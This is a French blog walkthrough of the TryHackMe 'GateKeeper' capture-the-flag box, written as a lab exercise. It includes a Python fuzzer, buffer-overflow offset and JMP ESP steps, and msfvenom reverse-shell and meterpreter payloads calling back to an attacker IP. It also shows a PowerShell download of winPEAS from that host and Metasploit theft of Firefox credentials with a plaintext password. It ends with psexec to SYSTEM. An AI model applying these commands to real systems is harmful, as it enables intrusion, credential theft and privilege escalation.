GateKeeper - BufferOverflow
Can you get past the gate and through the fire?
Ce CTF de TryHackme classé medium comporte 2 flags à trouver : le premier, un flag utilisateur lambda, puis via une élévation de privilège, le flag root.
Déployons la machine et démarrons les hostilités :)
┌──(kali㉿vm-kali)-[~]
└─$ nmap 10.10.90.28 --script=smb-enum-shares 1 ⨯
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-10 18:17 CEST
Nmap scan report for 10.10.90.28
Host is up (0.83s latency).
Not shown: 989 closed ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
31337/tcp open Elite
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49161/tcp open unknown
49165/tcp open unknown
Host script results:
| smb-enum-shares:
| account_used: guest
| \\10.10.90.28\ADMIN$:
| Type: STYPE_DISKTREE_HIDDEN
| Comment: Remote Admin
| Anonymous access: <none>
| Current user access: <none>
| \\10.10.90.28\C$:
| Type: STYPE_DISKTREE_HIDDEN
| Comment: Default share
| Anonymous access: <none>
| Current user access: <none>
| \\10.10.90.28\IPC$:
| Type: STYPE_IPC_HIDDEN
| Comment: Remote IPC
| Anonymous access: READ
| Current user access: READ/WRITE
| \\10.10.90.28\Users:
| Type: STYPE_DISKTREE
| Comment:
| Anonymous access: <none>
|_ Current user access: READ
Nmap done: 1 IP address (1 host up) scanned in 16.62 seconds
Le répertoire users est disponible
on se connecte dessus
┌──(kali㉿vm-kali)-[~/tryhackme/offensive pentesting/GateKeeper]
└─$ smbclient \\\\10.10.90.28\\Users
on se connecte sans mot de passe
on retrouve le programme gatekeeper dans le dossier Share.
Récupérons le.
explorons ensuite ce qui se passe sur le port 31337 en envoyant des commandes
nc 10.10.90.28 31337
après avoir saisi un "mo", on se rend compte que le programme retourne
Hello !!!
─$ nc 10.10.90.28 31337
toto
Hello toto!!!
Voyons si on peut exploiter un overflow en envoyant une longue chaine :
générez un pattern (par exemple avec msf-pattern create -l 3000)
c'est le cas ! le programme s'interrompt.
on présuppose que le programe en question est gatekeeper.
jetons un oeil rapide sur le fichier .exe que nous avons récupéré :
┌──(kali㉿vm-kali)-[~/tryhackme/offensive pentesting/GateKeeper]
└─$ strings gatekeeper.exe
!This program cannot be run in DOS mode.
2B00
2BRich
.text
`.rdata
@.data
.gfids
@.rsrc
Ph @
Ph8@
Qh@@
PhX@
Ph|@
sPhlA
j Y+
u&hHB
WhTB
j Y+
8csm
Y__^[
ineI
5ntel
5Genu
t#=`
RSDSeF
\\VBOXSVR\dostackbufferoverflowgood\dostackbufferoverflowgood\Release\dostackbufferoverflowgood.pdb
GCTL
.text$mn
.idata$5
.00cfg
.CRT$XCA
.CRT$XCAA
.CRT$XCZ
.CRT$XIA
.CRT$XIAA
.CRT$XIAC
.CRT$XIZ
.CRT$XPA
.CRT$XPZ
.CRT$XTA
.CRT$XTZ
.rdata
.rdata$sxdata
.rdata$zzzdbg
.rtc$IAA
.rtc$IZZ
.rtc$TAA
.rtc$TZZ
.xdata$x
.idata$2
.idata$3
.idata$4
.idata$6
.data
.bss
.gfids$y
.rsrc$01
.rsrc$02
freeaddrinfo
getaddrinfo
WS2_32.dll
memmove
memchr
__telemetry_main_invoke_trigger
__telemetry_main_return_trigger
__std_type_info_destroy_list
memset
_except_handler4_common
VCRUNTIME140.dll
__acrt_iob_func
_beginthread
_invalid_parameter_noinfo
__stdio_common_vfprintf
_errno
__stdio_common_vsprintf
_seh_filter_exe
_set_app_type
__setusermatherr
_configure_narrow_argv
_initialize_narrow_environment
_get_initial_narrow_environment
_initterm
_initterm_e
exit
_exit
_set_fmode
__p___argc
__p___argv
_cexit
_c_exit
_register_thread_local_exe_atexit_callback
_configthreadlocale
_set_new_mode
__p__commode
_seh_filter_dll
_initialize_onexit_table
_register_onexit_function
_execute_onexit_table
_crt_atexit
_crt_at_quick_exit
_controlfp_s
terminate
api-ms-win-crt-stdio-l1-1-0.dll
api-ms-win-crt-runtime-l1-1-0.dll
api-ms-win-crt-math-l1-1-0.dll
api-ms-win-crt-locale-l1-1-0.dll
api-ms-win-crt-heap-l1-1-0.dll
QueryPerformanceCounter
GetCurrentProcessId
GetCurrentThreadId
GetSystemTimeAsFileTime
InitializeSListHead
IsDebuggerPresent
UnhandledExceptionFilter
SetUnhandledExceptionFilter
GetStartupInfoW
IsProcessorFeaturePresent
GetModuleHandleW
GetCurrentProcess
TerminateProcess
KERNEL32.dll
WSAStartup failed: %d
31337
getaddrinfo failed: %d
socket() failed with error: %ld
bind() failed with error: %d
listen() failed with error: %ld
[+] Listening for connections.
accept failed: %d
Received connection from remote host.
Connection handed off to handler thread.
Please send shorter lines.
Bye!
[!] recvbuf exhausted. Giving up.
Client disconnected.
recv() failed: %d.
Bytes received: %d
exit
Client requested exit.
Hello %s!!!
send failed: %d
Bytes sent: %d
<?xml version='1.0' encoding='UTF-8' standalone='yes'?>
<assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
<security>
<requestedPrivileges>
<requestedExecutionLevel level='asInvoker' uiAccess='false' />
</requestedPrivileges>
</security>
</trustInfo>
</assembly>
on apprend pas mal de chose :
le programme semble compilé avec Visual Studio, c'est du C. (VCRUNTIME140)
on retrouve notre chaîne Hello %s!!!
, cela utilise des sockets ...
Bref de gros indices qui laisse à penser que c'est bien le même programme que celui que nous avons téléchargé.
on a meme un indice marrant :) : \\VBOXSVR\dostackbufferoverflowgood\dostackbufferoverflowgood\Release\dostackbufferoverflowgood.pdb
ce qui permet le debuggage a distance.
Bref avant de nous mettre en marche d'attaque identifions la limite haute à partir de laquelle le programme "crash" :g
créerons un fuzzer simple en python :
#!/usr/bin/env python3
import socket, time, sys
ip = "10.10.124.183"
port = 31337
timeout = 5
prefix = ""
string = "A" * 100
while True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((ip, port))
print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
s.send(bytes(string + "\r\n", "latin-1"))
s.recv(1024)
except:
print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
sys.exit(0)
string += 100 * "A"
time.sleep(1)
Après execution, on constate que l'application crash à 200 bytes
!mona modules
l'ASLR est désactivé
on recherche l'adresse EIP
offset 146
On identifie les bads characters : \x00\x0a
!mona bytearray -b "\x00"
on charge le payload et on l'envoi
puis
!mona compare -f C:\mona\oscp\bytearray.bin -a 00B519E4
où 00B519E4 est l'adresse ESP relevé lors de l'exception.
On identifie un offset contenant un JMP ESP.
!mona jmp -r esp -cpb "\x00\x0a"
par exemple : 0x080414c3 ou 0x080416bf.
paramétrons le premier (en inversant) dans notre exploit.py
retn= "\xc3\x14\x04\x08"
on charge un payload sans les bad characters
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.10 LPORT=7000 EXITFUNC=thread -b "\x00\x0a" -f c
on ajoute un peu de padding (16 * "\x90") pour pouvoir désencoder notre shellcode
puis sur la machine de l'attaquant :
nc -lvnp 7000
Bingo nous obtenons un shell
C:\Users\lange_wfimrnz\Desktop\VulnApps\gatekeeper>dir
dir
Le volume dans le lecteur C n'a pas de nom.
Le num�ro de s�rie du volume est DA50-9CE9
R�pertoire de C:\Users\lange_wfimrnz\Desktop\VulnApps\gatekeeper
10/05/2021 20:43 <DIR> .
10/05/2021 20:43 <DIR> ..
10/05/2021 20:35 13�312 gatekeeper.exe
1 fichier(s) 13�312 octets
2 R�p(s) 28�233�658�368 octets libres
C:\Users\lange_wfimrnz\Desktop\VulnApps\gatekeeper>
on genere un nouveau payload mais en utilisant notre IP TryHackMe + en indiquant l'IP de la machine de la victime dans notre exploit.py. On relance un listener et Hop !:
┌──(kali㉿vm-kali)-[~/tryhackme/offensive pentesting/GateKeeper]
└─$ nc -lvnp 7000
listening on [any] 7000 ...
connect to [10.11.31.167] from (UNKNOWN) [10.10.124.183] 49176
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\natbat\Desktop>
elevation des privileges
un petit whoami
whoami
gatekeeper\natbat
sur la machine on va récupérer winPeas pour identifer les vulnérabilités + nc.exe
powershell -c "Set-Content -value (New-Object Net.WebClient).DownloadData('http://10.11.31.167:8000/winPEAS.bat') -encoding byte -Path winpeas.bat";
Après execution rien ne semble vraiment intéréssant.
Dans le repertoire c:\Users\natbat\Desktop
, on remarque le fichier Firefox.lnk
. L'utilisateur utilise donc Firefox.
Aurait-il stocké des mots de passes dans son navigateur ?
python n'étant pas installé sur la machine de notre victime nous allons devoir transferer les fichiers qui nous intéresse vers notre machine.
Revoyons notre exploit afin d'utiliser un payload meterpreter qui nous permettra d'utiliser plusieurs fonctionnalités intéressantes.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.31.167 LPORT=7000 EXITFUNC=thread -b "\x00\x0a" -f c
puis préparons notre multi/handler metasploit avec la bonne configuration :
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread
, process, none)
LHOST 10.11.31.167 yes The listen address (an interface may be s
pecified)
LPORT 7000 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
run
puis on lance notre exploit avec le nouveau payload :
python3 exploit.py
une fois connecté nous obtenons notre shell meterpreter :
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.11.31.167:7000
[*] Sending stage (175174 bytes) to 10.10.90.28
[*] Meterpreter session 1 opened (10.11.31.167:7000 -> 10.10.90.28:49214) at 2021-05-11 22:12:25 +0200
meterpreter >
revenons en arrière et lançons notre post exploitation pour récupérer les crédentials Firefox :
background
puis
use post/multi/gather/firefox_creds
on regarde les options :
Module options (post/multi/gather/firefox_creds):
Name Current Setting Required Description
---- --------------- -------- -----------
DECRYPT false no Decrypts passwords without third party too
ls
SESSION yes The session to run this module on.
nous devons juste indiquer sur quel session utiliser ce post exploit:
listons nos sessiosns :
sessions -l
il s'agit pour ma part de la session 1.
set SESSION 1
puis run
msf6 post(multi/gather/firefox_creds) > run
[-] Error loading USER S-1-5-21-663372427-3699997616-3390412905-1000: Hive could not be loaded, are you Admin?
[*] Checking for Firefox profile in: C:\Users\natbat\AppData\Roaming\Mozilla\
[*] Profile: C:\Users\natbat\AppData\Roaming\Mozilla\Firefox\Profiles\ljfn812a.default-release
[+] Downloaded cert9.db: /home/kali/.msf4/loot/20210511222336_default_10.10.90.28_ff.ljfn812a.cert_997988.bin
[+] Downloaded cookies.sqlite: /home/kali/.msf4/loot/20210511222337_default_10.10.90.28_ff.ljfn812a.cook_927767.bin
[+] Downloaded key4.db: /home/kali/.msf4/loot/20210511222338_default_10.10.90.28_ff.ljfn812a.key4_626421.bin
[+] Downloaded logins.json: /home/kali/.msf4/loot/20210511222339_default_10.10.90.28_ff.ljfn812a.logi_162617.bin
[*] Profile: C:\Users\natbat\AppData\Roaming\Mozilla\Firefox\Profiles\rajfzh3y.default
[*] Post module execution completed
les éléments qui nous intéressent sont téléchargés vers /home/kali/.msf4/loot/
il ne nous reste plus qu'à nous déconnecter puis d'executer l'outil firefox_decrypt
qui va nous aider à récuperer les mots de passes stockés dans le navigateur.
D'abord nous devons renommer nos fichiers et ajouter un dossier "profiles"
20210511222336_default_10.10.90.28_ff.ljfn812a.cert_997988.bin
20210511222337_default_10.10.90.28_ff.ljfn812a.cook_927767.bin
20210511222338_default_10.10.90.28_ff.ljfn812a.key4_626421.bin
20210511222339_default_10.10.90.28_ff.ljfn812a.logi_162617.bin
deviennent respectivement :
cert9.db
cookies.sqlite
key4.db
logins.json
ensuite nous lançons firefox_decrypt pour obtenir :
Select the Mozilla profile you wish to decrypt
1 -> Profiles/rajfzh3y.default
2 -> Profiles/ljfn812a.default-release
2
Website: https://creds.com
Username: 'mayor'
Password: '8CL7O1N78MdrCIsV'
il ne nous reste plus qu'à utiliser psexec.py
de impacket pour se connecter sur le smb mais cette fois avec les credentials de mayor !
(kali㉿vm-kali)-[~/tryhackme/offensive pentesting/GateKeeper]$ python3 /usr/share/doc/python3-impacket/examples/psexec.py gatekeeper/mayor:<<HIDDEN>>@10.10.90.28 cmd.exe
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Requesting shares on 10.10.90.28.....
[*] Found writable share ADMIN$
[*] Uploading file VQGNrSNN.exe
[*] Opening SVCManager on 10.10.90.28.....
[*] Creating service gWHz on 10.10.90.28.....
[*] Starting service gWHz.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
Verifions qui sommes nous :
c:\Users\mayor\Desktop>whoami
nt authority\system
Terminons par récuperer le flag Root que nous trouverons sur c:\Users\mayor\Desktop\root.txt
et hop !
Ceci signe la fin de l'article, n'hésitez pas à partager, me faire part de vos commentaires, ou tout simplement me mettre un petit like !
Envie d'en apprendre encore plus ? Abonnez-vous en choisissant l'une des 3 formules (gratuite ou payante) et recevez directement par email nos articles dès leurs parutions. La formule payante vous donne droits à des articles Premium non disponible sur le site en accès public!